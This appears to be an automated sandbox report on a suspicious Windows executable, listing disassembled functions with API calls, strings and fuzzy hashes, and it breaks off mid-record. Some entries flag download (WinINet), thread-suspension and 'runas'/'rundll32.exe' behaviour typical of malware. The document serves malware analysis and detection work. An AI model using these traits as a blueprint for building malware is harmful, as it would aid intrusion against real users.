Function 0041606C, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 004160C3
2!A, xrefs: 0041606E
ext-ms-, xrefs: 004160D7

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: 2!A$api-ms-$ext-ms-
API String ID: 0-3344510271
Opcode ID: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction ID: cb64fe6ad5cfcc4e8d6b7301ff6b9be212c388882d563f31cd3313a8b65e95eb
Opcode Fuzzy Hash: a029b1c59fa74e428a0cfa684141dabc8af3abb85c93389627eb59dbd1bec490
Instruction Fuzzy Hash: 6721D871B01231BBCB318B389D41A9B3B689F057A0F270576FD15A7392DB38DD8185E8

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE03, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041AE2D
_free.LIBCMT ref: 0041AF06
_free.LIBCMT ref: 0041AF33

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 2996455cbe232ae2e60e10dc37e6e12dcc0ea1e9d4f9ef0a4b56ef1023022040
Instruction ID: 2a1f976b7b4bcbb86613db8ff6b19fd986a78d3bd4204cc8e7b10c550d2c21a6
Opcode Fuzzy Hash: 2996455cbe232ae2e60e10dc37e6e12dcc0ea1e9d4f9ef0a4b56ef1023022040
Instruction Fuzzy Hash: 1851D571A05301AFDB24AF759881AEB7BB4EF45314F0041BFE51097282EB3D89C68A9D

Uniqueness

Uniqueness Score: -1.00%

Function 0224B053, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0224B07D
_free.LIBCMT ref: 0224B156
_free.LIBCMT ref: 0224B183

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 0e45cf124dae2680c1abf606a5cb3f97d3ad5a8b58d3201bd65a193797cee207
Instruction ID: aa0aa5386e30984707655b02e54791540816416f88162007cf29228739ffc1fd
Opcode Fuzzy Hash: 0e45cf124dae2680c1abf606a5cb3f97d3ad5a8b58d3201bd65a193797cee207
Instruction Fuzzy Hash: CE51D371E24702EFDB29AFF48880A6E7BA5EB05718B0042B9D9149B299EF71C501CA54

Uniqueness

Uniqueness Score: -1.00%

Function 00407AE0, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 340COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040857A
std::_Xinvalid_argument.LIBCPMT ref: 00408589

Strings

invalid stoi argument, xrefs: 00407AB2, 00407AC1, 00408575, 00408584
stoi argument out of range, xrefs: 00407ACB, 0040858E
:::, xrefs: 00407B09, 00407B7D

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argumentstd::_
String ID: :::$invalid stoi argument$stoi argument out of range
API String ID: 909987262-1139504419
Opcode ID: 747017cd42a3fda193bfb032d162d03025e5e921311a098fa13f7e0c74a22b0a
Instruction ID: 1a67c78f0cb392b8ff53f714058822714b37d0e65a955eefefe6e82784eebe80
Opcode Fuzzy Hash: 747017cd42a3fda193bfb032d162d03025e5e921311a098fa13f7e0c74a22b0a
Instruction Fuzzy Hash: 0CE1E170E00208DFEF14EFA9C94579D7BB5AB01304F50846ED4553B2C2DBB99A89CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00405E24, Relevance: 10.7, APIs: 7, Instructions: 247networkfileCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 00405E33
HttpSendRequestA.WININET(00000000,00000000,?), ref: 00405EDC
InternetReadFile.WININET(00000000,?,000003FF,00000010), ref: 00405F6D
InternetReadFile.WININET(00000000,00000000,000003FF,?), ref: 00405FF4
InternetCloseHandle.WININET(00000000), ref: 00406005
InternetCloseHandle.WININET(?), ref: 0040600A
InternetCloseHandle.WININET(?), ref: 0040600F

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$FileHttpReadRequest$OpenSend
String ID:
API String ID: 856522067-0
Opcode ID: 6fb7e0b7ced6ae677faf849f43d845e802a25b11d2176dfb1b901f1221911620
Instruction ID: 0815bf64a4598977de38fa6e31ec9a7cd70cf72a29c17ea7a1c6806020119ff9
Opcode Fuzzy Hash: 6fb7e0b7ced6ae677faf849f43d845e802a25b11d2176dfb1b901f1221911620
Instruction Fuzzy Hash: 6B81F771600008AFEB18DF28CD85BAE7B76EF85304F50417AF805A72D5D7399A91CB99

Uniqueness

Uniqueness Score: -1.00%

Function 02231E70, Relevance: 10.7, APIs: 7, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 02231EB2
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 02231EE3
RtlAllocateHeap.NTDLL(00000000), ref: 02231EF1
RtlAllocateHeap.NTDLL(00000000), ref: 02231F04
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 02231F2E
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 02231F41
LocalFree.KERNEL32(00000000), ref: 02231FF2

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: AllocateHeap$AccountLookupName$ConvertFreeLocalString
String ID:
API String ID: 856199767-0
Opcode ID: 082293e33ad862f9a9c784e4082b52c5111cd68b96a030cc8f3f4a5a10449bd4
Instruction ID: 9fafa45816e7781fb2b46e48f9961bb0e7dd964f954634995fd11931112ebeef
Opcode Fuzzy Hash: 082293e33ad862f9a9c784e4082b52c5111cd68b96a030cc8f3f4a5a10449bd4
Instruction Fuzzy Hash: 72515FB5A00209AFDB11DFE5DC88BAFBBBDEF44344F114569E905E3244EB709A059BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02232960, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0223E120: Concurrency::cancel_current_task.LIBCPMT ref: 0223E241

CreateThread.KERNEL32(00000000,00000000,004026A0,00000000,00000000,00000000), ref: 022329C6
Sleep.KERNEL32(000007D0,?,?,?,?,?,?,?,?,?,?), ref: 022329D3
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 022329DA

Strings

HB, xrefs: 0223296F
runas, xrefs: 02232B1F
hB, xrefs: 0223298C

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: HB$hB$runas
API String ID: 1039963361-2279071875
Opcode ID: 82e951c8a91862d43a4e1cbda381c2a80e0ba4ab15a03fcfabfbf8e519cf8787
Instruction ID: 8228fafa9b3d80edeae74760b2123690a84c569176fd3e30a96229c8ac0262b3
Opcode Fuzzy Hash: 82e951c8a91862d43a4e1cbda381c2a80e0ba4ab15a03fcfabfbf8e519cf8787
Instruction Fuzzy Hash: 764106B1220248AFEB29DF68CD84B8D3B66EF85304F908618FD45976D9C739D8C18F44

Uniqueness

Uniqueness Score: -1.00%

Function 00405B90, Relevance: 10.6, APIs: 7, Instructions: 105networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405BC5
InternetOpenA.WININET(0042BC85,00000000,00000000,00000000,00000000), ref: 00405BDA
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00405BFA
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 00405C11
CloseHandle.KERNEL32(00000000), ref: 00405C53
InternetCloseHandle.WININET(?), ref: 00405C62
InternetCloseHandle.WININET(00000000), ref: 00405C65

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$FileOpen$CreateRead
String ID:
API String ID: 4113138902-0
Opcode ID: 7afcf3ba51e1d786664fd5339b475634f779685474f0816cdc5f2f1f1dce4384
Instruction ID: f2f2221e68c15033dc25878cc5138cc8e1f36a1742d9ec25df9f850a3b97c991
Opcode Fuzzy Hash: 7afcf3ba51e1d786664fd5339b475634f779685474f0816cdc5f2f1f1dce4384
Instruction Fuzzy Hash: 3E31A731340208BBEB20DF65DD85FEE37A9EF48704F60412AF904A62C1D7B9E9818F58

Uniqueness

Uniqueness Score: -1.00%

Function 0041B767, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0041B72F: _free.LIBCMT ref: 0041B754

_free.LIBCMT ref: 0041B7B5

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,004145A3), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(?,?,004145A3), ref: 004154E9

_free.LIBCMT ref: 0041B7C0
_free.LIBCMT ref: 0041B7CB
_free.LIBCMT ref: 0041B81F
_free.LIBCMT ref: 0041B82A
_free.LIBCMT ref: 0041B835
_free.LIBCMT ref: 0041B840

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5cda7027745d1f273ad04cc00e165eb4e072d0c12b9d8509fdba0c13263103ec
Instruction ID: ffe7088ae5449a6b3a5a215e186331137a1bbb89884f415634a75f73b0614f0f
Opcode Fuzzy Hash: 5cda7027745d1f273ad04cc00e165eb4e072d0c12b9d8509fdba0c13263103ec
Instruction Fuzzy Hash: DF116D31540B04EBDA20BFB2CC47FDB77ACDF84744F40481EB2AD6A092EB38A5848694

Uniqueness

Uniqueness Score: -1.00%

Function 0224B9B7, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0224B97F: _free.LIBCMT ref: 0224B9A4

_free.LIBCMT ref: 0224BA05

Part of subcall function 02245711: HeapFree.KERNEL32(00000000,00000000,?,022447F3), ref: 02245727
Part of subcall function 02245711: GetLastError.KERNEL32(?,?,022447F3), ref: 02245739

_free.LIBCMT ref: 0224BA10
_free.LIBCMT ref: 0224BA1B
_free.LIBCMT ref: 0224BA6F
_free.LIBCMT ref: 0224BA7A
_free.LIBCMT ref: 0224BA85
_free.LIBCMT ref: 0224BA90

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5cda7027745d1f273ad04cc00e165eb4e072d0c12b9d8509fdba0c13263103ec
Instruction ID: dd8e43aeb1a60f08cd26a6444ebf486e28557cf7135c9dc603add3501cdf9c02
Opcode Fuzzy Hash: 5cda7027745d1f273ad04cc00e165eb4e072d0c12b9d8509fdba0c13263103ec
Instruction Fuzzy Hash: 59116D31960B44EBDA35BFF0CC45FCB77DEAF10744F800C25A2996A55AEE24E5148E90

Uniqueness

Uniqueness Score: -1.00%

Function 00417317, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00403AF0,00000000), ref: 0041735F
__fassign.LIBCMT ref: 0041753E
__fassign.LIBCMT ref: 0041755B
WriteFile.KERNEL32(?,00403AF0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004175A3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004175E3
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041768F

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: be274a939198ef22bbc0e4bf3e1db74088a8381b1d284a182586deaff3b97251
Instruction ID: 2887c3a552ed1fc2b06bfe8e5bf07c6bde8add9ac4243d38c689086ebbc0ae5f
Opcode Fuzzy Hash: be274a939198ef22bbc0e4bf3e1db74088a8381b1d284a182586deaff3b97251
Instruction Fuzzy Hash: 83D1AE71D052589FCF15CFA8C8809EDBBB5BF49314F28416AE815BB342D734AA86CF58

Uniqueness

Uniqueness Score: -1.00%

Function 02247567, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,02233D40,00000000), ref: 022475AF
__fassign.LIBCMT ref: 0224778E
__fassign.LIBCMT ref: 022477AB
WriteFile.KERNEL32(?,02233D40,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 022477F3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 02247833
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 022478DF

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: eafb416fabd52c576e64e5b09df7842b497485bc3c593586b614e5a75beb33a1
Instruction ID: a0139a5362af9d0b33ef863501afe8fe675d3220dc7eb9236374b45453c9e9cc
Opcode Fuzzy Hash: eafb416fabd52c576e64e5b09df7842b497485bc3c593586b614e5a75beb33a1
Instruction Fuzzy Hash: A0D17A71D102599FCB19CFE8C8809EDFBB6EF48314F68416AE825BB245DB30A946CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD04, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040FCFB,0040FB69,0040F477), ref: 0040FD12
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040FD20
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040FD39
SetLastError.KERNEL32(00000000,0040FCFB,0040FB69,0040F477), ref: 0040FD8B

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction ID: 8cc6dcbae44a2d52cf8c11f23be7c67a5e481590007d6c0e7033467faf16e6d0
Opcode Fuzzy Hash: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction Fuzzy Hash: 6C0124337093216EE63026766C85AA726A4EF0537A360023FF811656F2EFAE5C87514C

Uniqueness

Uniqueness Score: -1.00%

Function 0223FF54, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0223FF4B,0223FDB9,0223F6C7), ref: 0223FF62
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0223FF70
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0223FF89
SetLastError.KERNEL32(00000000,0223FF4B,0223FDB9,0223F6C7), ref: 0223FFDB

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction ID: d6bc61d9ebfa367590cc6ad6425e0a8506ff37fbe309b58bd36820afdf8fae2b
Opcode Fuzzy Hash: 44332ddc1fb2f734544a2049ea0f1c617bc5890c4ea3a60d97565a33b3018a5e
Instruction Fuzzy Hash: 74012473B3C3229EA62A27F57D84E272AD5EB06374360023AF910C04FDEF9148539948

Uniqueness

Uniqueness Score: -1.00%

Function 00402710, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DED0: Concurrency::cancel_current_task.LIBCPMT ref: 0040DFF1

CreateThread.KERNEL32 ref: 00402776
Sleep.KERNEL32(000007D0,?,?,?,?,?,?,?,?,?,?), ref: 00402783
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040278A

Strings

rundll32.exe, xrefs: 00402AFC
runas, xrefs: 004028CF

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: runas$rundll32.exe
API String ID: 1039963361-4081450877
Opcode ID: 632079711821d43c6ffd94068d311285de1374bb21d42eded8444c8ed2936e06
Instruction ID: 09392b5254e1645925be96854df3bf802cc6077f604ac9a376f359c2fefabc37
Opcode Fuzzy Hash: 632079711821d43c6ffd94068d311285de1374bb21d42eded8444c8ed2936e06
Instruction Fuzzy Hash: BF41E631210148ABEB18DF28CE89B8D3B66AF45305F94863AF909A72D1C77DD4C08B98

Uniqueness

Uniqueness Score: -1.00%

Function 0041A358, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, xrefs: 0041A35D

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
API String ID: 0-3729451444
Opcode ID: 8ca4ff4ee348ea15c208bf2ad728796eb86287263020c82ad8f8fe69cf35f3be
Instruction ID: 8fcd5dcc9f5b01b07bd52fb12ed5abbccf50734b0b3ace7a73ab30f581ed808c
Opcode Fuzzy Hash: 8ca4ff4ee348ea15c208bf2ad728796eb86287263020c82ad8f8fe69cf35f3be
Instruction Fuzzy Hash: 6121C5712012157FDB20AF728C849EB77ACEF00368710462AF929C7251E778ECE1C76A

Uniqueness

Uniqueness Score: -1.00%

Function 0224A5A8, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, xrefs: 0224A5AD

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
API String ID: 0-3729451444
Opcode ID: f3947822aba8bb08784cc91c87d2ab758d579a1d2d6cee65828d2ade4eac22e4
Instruction ID: ff5c707aebd6cfd5a38c52f49701f98f381b400b907f25efabf739d302922919
Opcode Fuzzy Hash: f3947822aba8bb08784cc91c87d2ab758d579a1d2d6cee65828d2ade4eac22e4
Instruction Fuzzy Hash: E721C671660616BF9F28AFE98C90D7B776DEF003647004625F92597258EF70EC50CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00411ACB, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00411B0D

Strings

.cmd, xrefs: 00411B2B
.com, xrefs: 00411B4D
.bat, xrefs: 00411B3C
.exe, xrefs: 00411B1A

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 43bfc6addb4ef82b3eba14085431bb7548137eca9168f827e0cbc0b6f077e910
Instruction ID: 58063f8b226cf6e6d1833e63b29625ed4d015e7c9e48810328c3890537844d72
Opcode Fuzzy Hash: 43bfc6addb4ef82b3eba14085431bb7548137eca9168f827e0cbc0b6f077e910
Instruction Fuzzy Hash: 49012F37B18237231A141219AC02BAB57998F91BB8727402FFA54F72C0FD5DEC82419C

Uniqueness

Uniqueness Score: -1.00%

Function 00410014, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00410064

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction ID: 0d93d73468b09f87d9ef7135dd4aa8ebd36ada29da4d791985ae1a3ae0162fcd
Opcode Fuzzy Hash: 549e127746ad6c7bd3ee20d666b9d2ccda9dade7604bf89d19fa89fb802e33e3
Instruction Fuzzy Hash: EC11BC31B01225EBDB324B24FC44BAB7BA4AF49760B110122ED45A7350D6B4DDC186DD

Uniqueness

Uniqueness Score: -1.00%

Function 004165FC, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,agA,00000000,?,0041D0C5,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00416612
GetLastError.KERNEL32(?,0041D0C5,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00416761,00000000,00000104,?), ref: 0041661C
__dosmaperr.LIBCMT ref: 00416623

Strings

agA, xrefs: 00416602

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID: agA
API String ID: 2398240785-2637427811
Opcode ID: 750d90e04018309d6e3ce2e80e93ff16eb5e1b86fb368af3d40798a4c1480b2f
Instruction ID: fe48760646ffff483df900e44d367c1fcd9bf12732390f7954c1140dc131ea13
Opcode Fuzzy Hash: 750d90e04018309d6e3ce2e80e93ff16eb5e1b86fb368af3d40798a4c1480b2f
Instruction Fuzzy Hash: D2F03132200115BB8B215BA6DC0899BFF6DFF453A03168526F51DC7521D736E8A2DBD8

Uniqueness

Uniqueness Score: -1.00%

Function 00416665, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,agA,00000000,?,0041D050,00000000,00000000,agA,?,?,00000000,00000000,00000001), ref: 0041667B
GetLastError.KERNEL32(?,0041D050,00000000,00000000,agA,?,?,00000000,00000000,00000001,00000000,00000000,?,00416761,00000000,00000104), ref: 00416685
__dosmaperr.LIBCMT ref: 0041668C

Strings

agA, xrefs: 0041666B

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID: agA
API String ID: 2398240785-2637427811
Opcode ID: 7d495383b710f1faf093cc59933ccc85a4bded580e77670141baabca898ebb25
Instruction ID: 1982b7d424c97b4da265894f81eacb40b146a14d7fee0b0cb49c55dd075f62aa
Opcode Fuzzy Hash: 7d495383b710f1faf093cc59933ccc85a4bded580e77670141baabca898ebb25
Instruction Fuzzy Hash: EBF06231200515BBCB201F62CC04997FF69FF453A43124516F51DC7620C735E8A1DBD8

Uniqueness

Uniqueness Score: -1.00%

Function 004110C3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004110B8,?,?,00411080,?,?,?), ref: 004110D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004110EB
FreeLibrary.KERNEL32(00000000,?,?,004110B8,?,?,00411080,?,?,?), ref: 0041110E

Strings

mscoree.dll, xrefs: 004110D1
CorExitProcess, xrefs: 004110E3

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b37e2a0355cf052c7e7e456c1e71d6e36bed1f43a61ca4eb637a0100914bca8f
Instruction ID: 89d1d6a6511906fb8b10b3cdba021d603bd2b1b5d6d269f4ed68b4bcbc4a5649
Opcode Fuzzy Hash: b37e2a0355cf052c7e7e456c1e71d6e36bed1f43a61ca4eb637a0100914bca8f
Instruction Fuzzy Hash: 94F0A730B00228FBCB21DB60EC09BDFBA78EF04756F520075FA00A1160DB758E01EB98

Uniqueness

Uniqueness Score: -1.00%

Function 004146E1, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004146EA

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,004145A3), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(?,?,004145A3), ref: 004154E9

_free.LIBCMT ref: 004146FD
_free.LIBCMT ref: 0041470E
_free.LIBCMT ref: 0041471F

Strings

pa, xrefs: 00414719

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: pa
API String ID: 776569668-338722474
Opcode ID: ed6feafc550fa1065a8e86d3c97a65e9d970199be6f8b94e087475161f8d8b19
Instruction ID: c745ba60f97e2d4d87b6af78ea720ad5864cbd823f739a73dd20a150a1001671
Opcode Fuzzy Hash: ed6feafc550fa1065a8e86d3c97a65e9d970199be6f8b94e087475161f8d8b19
Instruction Fuzzy Hash: F9E09A75600624EB8B216F16FC419863A71FBC47153C2913AF81452231CB3905DB9FCD

Uniqueness

Uniqueness Score: -1.00%

Function 02244931, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0224493A

Part of subcall function 02245711: HeapFree.KERNEL32(00000000,00000000,?,022447F3), ref: 02245727
Part of subcall function 02245711: GetLastError.KERNEL32(?,?,022447F3), ref: 02245739

_free.LIBCMT ref: 0224494D
_free.LIBCMT ref: 0224495E
_free.LIBCMT ref: 0224496F

Strings

pa, xrefs: 02244969

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: pa
API String ID: 776569668-338722474
Opcode ID: ed6feafc550fa1065a8e86d3c97a65e9d970199be6f8b94e087475161f8d8b19
Instruction ID: 159d30537c29cd990c7939f4c94ba71c3e6426cac2ff8cab03aaf97198d658e8
Opcode Fuzzy Hash: ed6feafc550fa1065a8e86d3c97a65e9d970199be6f8b94e087475161f8d8b19
Instruction Fuzzy Hash: 51E0BF75620224EF8A366F56FC80C863B72FB947503D24036E8505633ACF35056B9FC9

Uniqueness

Uniqueness Score: -1.00%

Function 0041D631, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041D6B3
_free.LIBCMT ref: 0041D6D7
_free.LIBCMT ref: 0041D864
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042A578), ref: 0041D876
_free.LIBCMT ref: 0041DA30

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 73763a3d11f0e1f92dbe116b5780a352de389b89e9dfa2893f46e75c4a126dd4
Instruction ID: 288546b534604ff02d250860d8c74b002ea5c89fcf63bb1af3282de747a45e08
Opcode Fuzzy Hash: 73763a3d11f0e1f92dbe116b5780a352de389b89e9dfa2893f46e75c4a126dd4
